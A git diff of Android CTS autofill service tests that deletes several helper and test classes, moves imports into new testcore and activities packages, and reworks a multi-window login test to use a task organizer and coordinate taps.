diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivity.java
deleted file mode 100644
index 9512591..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivity.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Activity that allows capture recreated instance for testing multi window scenarios.
- */
-public class MultiWindowLoginActivity extends LoginActivity {
-
-    private static MultiWindowLoginActivity sLastInstance;
-    private static CountDownLatch sLastInstanceLatch;
-
-    @Override
-    protected void onStart() {
-        super.onStart();
-        sLastInstance = this;
-        if (sLastInstanceLatch != null) {
-            sLastInstanceLatch.countDown();
-        }
-    }
-
-    @Override
-    public void onWindowFocusChanged(boolean hasFocus) {
-        if (hasFocus) {
-            if (sLastInstanceLatch != null) {
-                sLastInstanceLatch.countDown();
-            }
-        }
-    }
-
-    public static void expectNewInstance(boolean waitWindowFocus) {
-        sLastInstanceLatch = new CountDownLatch(waitWindowFocus ? 2 : 1);
-    }
-
-    public static MultiWindowLoginActivity waitNewInstance() throws InterruptedException {
-        if (!sLastInstanceLatch.await(Timeouts.ACTIVITY_RESURRECTION.getMaxValue(),
-                TimeUnit.MILLISECONDS)) {
-            throw new RetryableException("New MultiWindowLoginActivity didn't start",
-                    Timeouts.ACTIVITY_RESURRECTION);
-        }
-        sLastInstanceLatch = null;
-        return sLastInstance;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
index bc70ff6..20437f7 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
@@ -15,9 +15,8 @@
  */
 package android.autofillservice.cts;
 
-import static android.app.ActivityTaskManager.SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
 
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
 import static com.android.compatibility.common.util.ShellUtils.tap;
@@ -28,12 +27,21 @@
 
 import android.app.Activity;
 import android.app.ActivityTaskManager;
-import android.content.Intent;
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.activities.MultiWindowEmptyActivity;
+import android.autofillservice.cts.activities.MultiWindowLoginActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
+import android.graphics.Rect;
 import android.platform.test.annotations.AppModeFull;
+import android.server.wm.TestTaskOrganizer;
 import android.view.View;
 
 import com.android.compatibility.common.util.AdoptShellPermissionsRule;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.rules.RuleChain;
@@ -41,12 +49,12 @@
 
 import java.util.concurrent.TimeoutException;
 
-@AppModeFull(reason = "This test requires android.permission.MANAGE_ACTIVITY_STACKS")
+@AppModeFull(reason = "This test requires android.permission.MANAGE_ACTIVITY_TASKS")
 public class MultiWindowLoginActivityTest
         extends AutoFillServiceTestCase.AutoActivityLaunch<MultiWindowLoginActivity> {
 
     private LoginActivity mActivity;
-    private ActivityTaskManager mAtm;
+    private TestTaskOrganizer mTaskOrganizer;
 
     @Override
     protected AutofillActivityTestRule<MultiWindowLoginActivity> getActivityRule() {
@@ -55,12 +63,17 @@
             @Override
             protected void afterActivityLaunched() {
                 mActivity = getActivity();
-                mAtm = mContext.getSystemService(ActivityTaskManager.class);
+                mTaskOrganizer = new TestTaskOrganizer(mContext);
             }
         };
     }
 
     @Override
+    protected void cleanAllActivities() {
+        MultiWindowEmptyActivity.finishAndWaitDestroy();
+    }
+
+    @Override
     protected TestRule getMainTestRule() {
         return RuleChain.outerRule(new AdoptShellPermissionsRule()).around(getActivityRule());
     }
@@ -68,37 +81,35 @@
     @Before
     public void setup() {
         assumeTrue("Skipping test: no split multi-window support",
-                ActivityTaskManager.supportsSplitScreenMultiWindow(mContext));
+                ActivityTaskManager.supportsSplitScreenMultiWindow(mActivity));
+    }
+
+    @After
+    public void tearDown() {
+        mTaskOrganizer.unregisterOrganizerIfNeeded();
     }
 
     /**
-     * Touch a view and exepct autofill window change
+     * Touch a view and expect autofill window change
      */
     protected void tapViewAndExpectWindowEvent(View view) throws TimeoutException {
         mUiBot.waitForWindowChange(() -> tap(view));
     }
 
-    protected String runAmStartActivity(Class<? extends Activity> activityClass, int flags) {
-        return runAmStartActivity(activityClass.getName(), flags);
-    }
-
-    protected String runAmStartActivity(String activity, int flags) {
-        return runShellCommand("am start %s/%s -f 0x%s", mPackageName, activity,
-                Integer.toHexString(flags));
-    }
-
     /**
-     * Put activity in TOP, will be followed by amStartActivity()
+     * Touch specific position on device display and expect autofill window change.
      */
-    protected void splitWindow(Activity activity) {
-        mAtm.setTaskWindowingModeSplitScreenPrimary(activity.getTaskId(),
-                SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT, true, false, null, true);
+    protected void tapPointAndExpectWindowEvent(int x, int y) {
+        mUiBot.waitForWindowChange(() -> runShellCommand("input touchscreen tap %d %d", x, y));
+    }
+
+    protected String runAmStartActivity(String activity) {
+        return runShellCommand("am start %s/%s", mPackageName, activity);
     }
 
     protected void amStartActivity(Class<? extends Activity> activity2) {
         // it doesn't work using startActivity(intent), have to go through shell command.
-        runAmStartActivity(activity2,
-                Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT);
+        runAmStartActivity(activity2.getName());
     }
 
     @Test
@@ -120,12 +131,13 @@
         MultiWindowLoginActivity.expectNewInstance(false);
         MultiWindowEmptyActivity.expectNewInstance(true);
 
-        splitWindow(mActivity);
+        mTaskOrganizer.putTaskInSplitPrimary(mActivity.getTaskId());
         mUiBot.waitForIdleSync();
         MultiWindowLoginActivity loginActivity = MultiWindowLoginActivity.waitNewInstance();
 
         amStartActivity(MultiWindowEmptyActivity.class);
         MultiWindowEmptyActivity emptyActivity = MultiWindowEmptyActivity.waitNewInstance();
+        mTaskOrganizer.putTaskInSplitSecondary(emptyActivity.getTaskId());
 
         // Make sure both activities are showing
         mUiBot.assertShownByRelativeId(Helper.ID_USERNAME);  // MultiWindowLoginActivity
@@ -145,7 +157,10 @@
         assertThat(emptyActivity.hasWindowFocus()).isFalse();
 
         // Tap on EmptyActivity and fill ui is gone.
-        tapViewAndExpectWindowEvent(emptyActivity.getEmptyView());
+        Rect emptyActivityBounds = mTaskOrganizer.getSecondaryTaskBounds();
+        // Because tap(View) will get wrong physical start position of view while in split screen
+        // and make bot cannot tap on emptyActivity, so use task bounds and tap its center.
+        tapPointAndExpectWindowEvent(emptyActivityBounds.centerX(), emptyActivityBounds.centerY());
         mUiBot.assertNoDatasetsEver();
         assertThat(emptyActivity.hasWindowFocus()).isTrue();
         // LoginActivity username field is still focused but window has no focus
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java
deleted file mode 100644
index ad08fd3..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java
+++ /dev/null
@@ -1,241 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.FragmentContainerActivity.FRAGMENT_TAG;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.app.assist.AssistStructure;
-import android.app.assist.AssistStructure.ViewNode;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.autofill.AutofillValue;
-import android.widget.EditText;
-
-import org.junit.Test;
-
-public class MultipleFragmentLoginTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<FragmentContainerActivity> {
-
-    private static final String LOG_TAG = "MultipleFragmentLoginTest";
-
-    private FragmentContainerActivity mActivity;
-    private EditText mEditText1;
-    private EditText mEditText2;
-
-    @Override
-    protected AutofillActivityTestRule<FragmentContainerActivity> getActivityRule() {
-        return new AutofillActivityTestRule<FragmentContainerActivity>(
-                FragmentContainerActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-                mEditText1 = mActivity.findViewById(R.id.editText1);
-                mEditText2 = mActivity.findViewById(R.id.editText2);
-            }
-        };
-    }
-
-    @Test
-    public void loginOnTwoFragments() throws Exception {
-        enableService();
-
-        Bundle clientState = new Bundle();
-        clientState.putString("key", "value1");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField("editText1", "editText1-autofilled")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build())
-                .setExtras(clientState)
-                .build());
-
-        // Trigger autofill on editText2
-        mActivity.syncRunOnUiThread(() -> mEditText2.requestFocus());
-
-        final InstrumentedAutoFillService.FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.data).isNull();
-
-        mUiBot.assertNoDatasetsEver(); // UI is only shown on editText1
-
-        mActivity.setRootContainerFocusable(false);
-
-        final AssistStructure structure = fillRequest1.contexts.get(0).getStructure();
-        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
-        assertThat(findNodeByResourceId(structure, "editText1")).isNotNull();
-        assertThat(findNodeByResourceId(structure, "editText2")).isNotNull();
-        assertThat(findNodeByResourceId(structure, "editText3")).isNull();
-        assertThat(findNodeByResourceId(structure, "editText4")).isNull();
-        assertThat(findNodeByResourceId(structure, "editText5")).isNull();
-
-        // Wait until autofill has been applied
-        mActivity.syncRunOnUiThread(() -> mEditText1.requestFocus());
-        mUiBot.selectDataset("dataset1");
-        mUiBot.assertShownByText("editText1-autofilled");
-
-        // Manually fill view
-        mActivity.syncRunOnUiThread(() -> mEditText2.setText("editText2-manually-filled"));
-
-        // Replacing the fragment focused a previously unknown view which triggers a new
-        // partition
-        clientState.putString("key", "value2");
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField("editText3", "editText3-autofilled")
-                        .setField("editText4", "editText4-autofilled")
-                        .setPresentation(createPresentation("dataset2"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, "editText2", "editText5")
-                .setExtras(clientState)
-                .build());
-
-        Log.i(LOG_TAG, "Switching Fragments");
-        mActivity.syncRunOnUiThread(
-                () -> mActivity.getFragmentManager().beginTransaction().replace(
-                        R.id.rootContainer, new FragmentWithMoreEditTexts(),
-                        FRAGMENT_TAG).commitNow());
-        EditText editText5 = mActivity.findViewById(R.id.editText5);
-        final InstrumentedAutoFillService.FillRequest fillRequest2 = sReplier.getNextFillRequest();
-
-        // The fillRequest should have a fillContext for each partition. The first partition
-        // should be filled in
-        assertThat(fillRequest2.contexts.size()).isEqualTo(2);
-
-        assertThat(fillRequest2.data.getString("key")).isEqualTo("value1");
-
-        final AssistStructure structure1 = fillRequest2.contexts.get(0).getStructure();
-        ViewNode editText1Node = findNodeByResourceId(structure1, "editText1");
-        // The actual value in the structure is not updated in FillRequest-contexts, but the
-        // autofill value is. For text views in SaveRequest both are updated, but this is the
-        // only exception.
-        assertThat(editText1Node.getAutofillValue()).isEqualTo(
-                AutofillValue.forText("editText1-autofilled"));
-
-        ViewNode editText2Node = findNodeByResourceId(structure1, "editText2");
-        // Manually filled fields are not send to onFill. They appear in onSave if they are set
-        // as saveable fields.
-        assertThat(editText2Node.getText().toString()).isEqualTo("");
-
-        assertThat(findNodeByResourceId(structure1, "editText3")).isNull();
-        assertThat(findNodeByResourceId(structure1, "editText4")).isNull();
-        assertThat(findNodeByResourceId(structure1, "editText5")).isNull();
-
-        final AssistStructure structure2 = fillRequest2.contexts.get(1).getStructure();
-
-        assertThat(findNodeByResourceId(structure2, "editText1")).isNull();
-        assertThat(findNodeByResourceId(structure2, "editText2")).isNull();
-        assertThat(findNodeByResourceId(structure2, "editText3")).isNotNull();
-        assertThat(findNodeByResourceId(structure2, "editText4")).isNotNull();
-        assertThat(findNodeByResourceId(structure2, "editText5")).isNotNull();
-
-        // Wait until autofill has been applied
-        mUiBot.selectDataset("dataset2");
-        mUiBot.assertShownByText("editText3-autofilled");
-        mUiBot.assertShownByText("editText4-autofilled");
-
-        // Manually fill view
-        mActivity.syncRunOnUiThread(() -> editText5.setText("editText5-manually-filled"));
-
-        // Finish activity and save data
-        mActivity.finish();
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-
-        // The saveRequest should have a fillContext for each partition with all the data
-        final InstrumentedAutoFillService.SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertThat(saveRequest.contexts.size()).isEqualTo(2);
-
-        assertThat(saveRequest.data.getString("key")).isEqualTo("value2");
-
-        final AssistStructure saveStructure1 = saveRequest.contexts.get(0).getStructure();
-        editText1Node = findNodeByResourceId(saveStructure1, "editText1");
-        assertThat(editText1Node.getText().toString()).isEqualTo("editText1-autofilled");
-
-        editText2Node = findNodeByResourceId(saveStructure1, "editText2");
-        assertThat(editText2Node.getText().toString()).isEqualTo("editText2-manually-filled");
-
-        assertThat(findNodeByResourceId(saveStructure1, "editText3")).isNull();
-        assertThat(findNodeByResourceId(saveStructure1, "editText4")).isNull();
-        assertThat(findNodeByResourceId(saveStructure1, "editText5")).isNull();
-
-        final AssistStructure saveStructure2 = saveRequest.contexts.get(1).getStructure();
-        assertThat(findNodeByResourceId(saveStructure2, "editText1")).isNull();
-        assertThat(findNodeByResourceId(saveStructure2, "editText2")).isNull();
-
-        ViewNode editText3Node = findNodeByResourceId(saveStructure2, "editText3");
-        assertThat(editText3Node.getText().toString()).isEqualTo("editText3-autofilled");
-
-        ViewNode editText4Node = findNodeByResourceId(saveStructure2, "editText4");
-        assertThat(editText4Node.getText().toString()).isEqualTo("editText4-autofilled");
-
-        ViewNode editText5Node = findNodeByResourceId(saveStructure2, "editText5");
-        assertThat(editText5Node.getText().toString()).isEqualTo("editText5-manually-filled");
-    }
-
-    @Test
-    public void uiDismissedWhenNonSavableFragmentIsGone() throws Exception {
-        uiDismissedWhenFragmentIsGoneText(false);
-    }
-
-    @Test
-    public void uiDismissedWhenSavableFragmentIsGone() throws Exception {
-        uiDismissedWhenFragmentIsGoneText(true);
-    }
-
-    private void uiDismissedWhenFragmentIsGoneText(boolean savable) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField("editText1", "whatever")
-                        .setPresentation(createPresentation("dataset1"))
-                        .build());
-        if (savable) {
-            response.setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, "editText2");
-        }
-
-        sReplier.addResponse(response.build());
-
-        // Trigger autofill on editText2
-        mActivity.syncRunOnUiThread(() -> mEditText2.requestFocus());
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver(); // UI is only shown on editText1
-
-        mActivity.setRootContainerFocusable(false);
-
-        // Check UI is shown, but don't select it.
-        mActivity.syncRunOnUiThread(() -> mEditText1.requestFocus());
-        mUiBot.assertDatasets("dataset1");
-
-        // Switch fragments
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.syncRunOnUiThread(
-                () -> mActivity.getFragmentManager().beginTransaction().replace(
-                        R.id.rootContainer, new FragmentWithMoreEditTexts(),
-                        FRAGMENT_TAG).commitNow());
-        // Make sure UI is gone.
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasets();
-    }
-
-    // TODO: add similar tests for fragment with virtual view
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java
deleted file mode 100644
index 5af2762..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesRadioGroupListener.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.widget.RadioGroup;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@link android.widget.RadioGroup.OnCheckedChangeListener} used to assert an
- * {@link RadioGroup} was auto-filled properly.
- */
-final class MultipleTimesRadioGroupListener implements RadioGroup.OnCheckedChangeListener {
-    private final String mName;
-    private final CountDownLatch mLatch;
-    private final RadioGroup mRadioGroup;
-    private final int mExpected;
-
-    MultipleTimesRadioGroupListener(String name, int times, RadioGroup radioGroup,
-            int expectedAutoFilledValue) {
-        mName = name;
-        mRadioGroup = radioGroup;
-        mExpected = expectedAutoFilledValue;
-        mLatch = new CountDownLatch(times);
-    }
-
-    @Override
-    public void onCheckedChanged(RadioGroup group, int checkedId) {
-        mLatch.countDown();
-    }
-
-    void assertAutoFilled() throws Exception {
-        final boolean set = mLatch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) on RadioGroup %s", FILL_TIMEOUT.ms(), mName)
-            .that(set).isTrue();
-        final int actual = mRadioGroup.getAutofillValue().getListValue();
-        assertWithMessage("Wrong auto-fill value on RadioGroup %s", mName)
-            .that(actual).isEqualTo(mExpected);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTextWatcher.java
deleted file mode 100644
index a841fef..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTextWatcher.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.text.Editable;
-import android.text.TextWatcher;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@link TextWatcher} used to assert a {@link EditText} was set multiple times.
- */
-class MultipleTimesTextWatcher implements TextWatcher {
-    private static final String TAG = "MultipleTimesTextWatcher";
-
-    private final String mName;
-    private final CountDownLatch mLatch;
-    private final EditText mEditText;
-    private final CharSequence mExpected;
-
-    MultipleTimesTextWatcher(String name, int times, EditText editText,
-            CharSequence expectedAutofillValue) {
-        this.mName = name;
-        this.mEditText = editText;
-        this.mExpected = expectedAutofillValue;
-        this.mLatch = new CountDownLatch(times);
-    }
-
-    @Override
-    public void beforeTextChanged(CharSequence s, int start, int count, int after) {
-    }
-
-    @Override
-    public void onTextChanged(CharSequence s, int start, int before, int count) {
-        Log.v(TAG, "onTextChanged(" + mLatch.getCount() + "): " + mName + " = " + s);
-        mLatch.countDown();
-    }
-
-    @Override
-    public void afterTextChanged(Editable s) {
-    }
-
-    void assertAutoFilled() throws Exception {
-        final boolean set = mLatch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        if (!set) {
-            throw new RetryableException(FILL_TIMEOUT, "Timeout (%s ms) on EditText %s",
-                    FILL_TIMEOUT.ms(), mName);
-        }
-        final String actual = mEditText.getText().toString();
-        assertWithMessage("Wrong auto-fill value on EditText %s", mName)
-                .that(actual).isEqualTo(mExpected.toString());
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTimeListener.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTimeListener.java
deleted file mode 100644
index 2519aec..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleTimesTimeListener.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.widget.TimePicker;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@OnDateChangedListener} used to assert a {@link TimePicker} was auto-filled properly.
- */
-final class MultipleTimesTimeListener implements TimePicker.OnTimeChangedListener {
-    private final String name;
-    private final CountDownLatch latch;
-    private final TimePicker timePicker;
-    private final int expectedHour;
-    private final int expectedMinute;
-
-    MultipleTimesTimeListener(String name, int times, TimePicker timePicker, int expectedHour,
-            int expectedMinute) {
-        this.name = name;
-        this.timePicker = timePicker;
-        this.expectedHour = expectedHour;
-        this.expectedMinute = expectedMinute;
-        this.latch = new CountDownLatch(times);
-    }
-
-    @Override
-    public void onTimeChanged(TimePicker view, int hour, int minute) {
-        latch.countDown();
-    }
-
-    void assertAutoFilled() throws Exception {
-        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) on TimePicker %s", FILL_TIMEOUT.ms(), name)
-                .that(set).isTrue();
-        assertWithMessage("Wrong hour on TimePicker %s", name)
-                .that(timePicker.getHour()).isEqualTo(expectedHour);
-        assertWithMessage("Wrong minute on TimePicker %s", name)
-                .that(timePicker.getMinute()).isEqualTo(expectedMinute);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MutableAutofillIdTest.java b/tests/autofillservice/src/android/autofillservice/cts/MutableAutofillIdTest.java
index 8d63fcd..ce37c23 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MutableAutofillIdTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MutableAutofillIdTest.java
@@ -16,11 +16,11 @@
 
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.GridActivity.ID_L1C1;
-import static android.autofillservice.cts.GridActivity.ID_L1C2;
-import static android.autofillservice.cts.Helper.assertEqualsIgnoreSession;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.activities.GridActivity.ID_L1C1;
+import static android.autofillservice.cts.activities.GridActivity.ID_L1C2;
+import static android.autofillservice.cts.testcore.Helper.assertEqualsIgnoreSession;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -29,10 +29,12 @@
 
 import android.app.assist.AssistStructure;
 import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.GridActivity.FillExpectation;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.activities.GridActivity.FillExpectation;
+import android.autofillservice.cts.commontests.AbstractGridActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
 import android.service.autofill.FillContext;
 import android.support.test.uiautomator.UiObject2;
 import android.util.Log;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
deleted file mode 100644
index c38538b..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
+++ /dev/null
@@ -1,203 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.callbackEventAsString;
-import static android.autofillservice.cts.Timeouts.CALLBACK_NOT_CALLED_TIMEOUT_MS;
-import static android.autofillservice.cts.Timeouts.CONNECTION_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.util.Log;
-import android.view.View;
-import android.view.autofill.AutofillManager.AutofillCallback;
-
-import com.android.compatibility.common.util.RetryableException;
-import com.android.compatibility.common.util.Timeout;
-
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@link AutofillCallback} used to recover events during tests.
- */
-public final class MyAutofillCallback extends AutofillCallback {
-
-    private static final String TAG = "MyAutofillCallback";
-    private final BlockingQueue<MyEvent> mEvents = new LinkedBlockingQueue<>();
-
-    public static final Timeout MY_TIMEOUT = CONNECTION_TIMEOUT;
-
-    // We must handle all requests in a separate thread as the service's main thread is the also
-    // the UI thread of the test process and we don't want to hose it in case of failures here
-    private static final HandlerThread sMyThread = new HandlerThread("MyCallbackThread");
-    private final Handler mHandler;
-
-    static {
-        Log.i(TAG, "Starting thread " + sMyThread);
-        sMyThread.start();
-    }
-
-    MyAutofillCallback() {
-        mHandler = Handler.createAsync(sMyThread.getLooper());
-    }
-
-    @Override
-    public void onAutofillEvent(View view, int event) {
-        mHandler.post(() -> offer(new MyEvent(view, event)));
-    }
-
-    @Override
-    public void onAutofillEvent(View view, int childId, int event) {
-        mHandler.post(() -> offer(new MyEvent(view, childId, event)));
-    }
-
-    private void offer(MyEvent event) {
-        Log.v(TAG, "offer: " + event);
-        Helper.offer(mEvents, event, MY_TIMEOUT.ms());
-    }
-
-    /**
-     * Gets the next available event or fail if it times out.
-     */
-    public MyEvent getEvent() throws InterruptedException {
-        final MyEvent event = mEvents.poll(CONNECTION_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        if (event == null) {
-            throw new RetryableException(CONNECTION_TIMEOUT, "no event");
-        }
-        return event;
-    }
-
-    /**
-     * Assert no more events were received.
-     */
-    public void assertNotCalled() throws InterruptedException {
-        final MyEvent event = mEvents.poll(CALLBACK_NOT_CALLED_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        if (event != null) {
-            // Not retryable.
-            throw new IllegalStateException("should not have received " + event);
-        }
-    }
-
-    /**
-     * Used to assert there is no event left behind.
-     */
-    public void assertNumberUnhandledEvents(int expected) {
-        assertWithMessage("Invalid number of events left: %s", mEvents).that(mEvents.size())
-                .isEqualTo(expected);
-    }
-
-    /**
-     * Convenience method to assert an UI shown event for the given view was received.
-     */
-    public MyEvent assertUiShownEvent(View expectedView) throws InterruptedException {
